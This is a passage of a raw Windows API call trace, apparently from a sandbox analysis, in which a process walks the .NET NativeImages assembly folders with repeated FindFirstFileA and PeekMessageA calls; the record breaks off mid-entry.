0x502598 [0114.352] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind412bbddf#\\6dafc334cede4e2fd9043ef32e7afe43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bfcc2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2bff2450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2bff2450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.354] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.359] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.360] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5abb17e9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e43f3d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2e43f3d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2e43f3d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.361] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5abb17e9#\\9d2c29f943d8ce67a673c45784f258e5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e43f3d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2e43f3d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2e43f3d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.363] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.365] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.366] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5cb9c182#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11f6f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2e11f6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2e11f6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.368] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind5cb9c182#\\345434a9d9933d8716fd3d1e15d7aef8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11f6f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2e11f6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2e11f6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.371] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.373] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.374] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind74b7bf4b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dc28f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4dc28f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4dc28f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.375] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind74b7bf4b#\\02f718e11ed9bb2f5961fcccb027315b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dc28f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4dc28f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4dc28f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.450] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.457] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0592e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb20030a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb20030a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.458] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0557c20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa057dd80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa057dd80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.458] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.462] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.462] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Work0493292f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a66850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x31a66850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x31a66850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.464] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Work0493292f#\\00a462688c4a72876ced07ce557724ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a66850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x31a8c9b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x31a8c9b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.466] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.468] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.469] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workca489553#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f17fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x30f17fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x30f17fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.471] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workca489553#\\842381f06c98d44fc80ce3e012eaf818\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f17fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x30f17fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x30f17fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.474] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.478] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.479] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workd8194f73#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32249130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x32249130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x32249130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.481] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workd8194f73#\\c975cbbd281309339e3d6e3e2b843b95\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32249130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3226f290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3226f290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.484] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.486] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.486] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workfffcbcd8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f724270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2f724270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2f724270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.490] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Workfffcbcd8#\\f09c72c5b09db3c6856f1d3e726c9074\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f724270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2f724270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2f724270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.492] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.494] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.495] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20d1a000, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb22fcc20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb22fcc20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.497] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml\\677103f325cd79411dc9770816df4436\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabeb6d60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xabedcec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xabedcec0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.504] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.505] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml.Hosting\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dd5d630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1dd5d630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1dd5d630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.506] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xaml.Hosting\\50eaf51a4b22659ec30241dded2dbcb5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dd5d630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1dd5d630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1dd5d630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.507] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.512] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.513] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac36280, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb242d720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb242d720, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.514] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\427ed7b1258457fdb8be46e9dd87cbd2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa36701e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa36701e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa36701e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.515] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.521] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.521] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.84e525b7#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x324845d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x324845d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x324845d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.523] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.84e525b7#\\00bb8cd7b4067bf59b9a27fc51b3584c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x324845d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x324aa730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x324aa730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.526] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.529] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.530] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ff9fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ff9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x11ff9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.531] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml.Linq\\ae637fec4b2707d2bdfa6a1476486b91\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ff9fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11ff9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x11ff9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.531] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.539] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.540] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x57cefcc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57cefcc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.541] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\6cc-0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xfd111920, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xfd111920, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.541] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomatio4e153cb6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32bf4a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x32bf4a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x32bf4a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630036, dwReserved1=0x2d0063, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.543] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomatio4e153cb6#\\38592b7ec2ffeef27551d0c25782aec6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32bf4a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x32bf4a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x32bf4a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.545] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.549] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.549] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationClient\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3270bd30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3270bd30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3270bd30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.554] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationClient\\a832c19c9acc57aa63b7f91f09f5a42c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3270bd30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3270bd30, 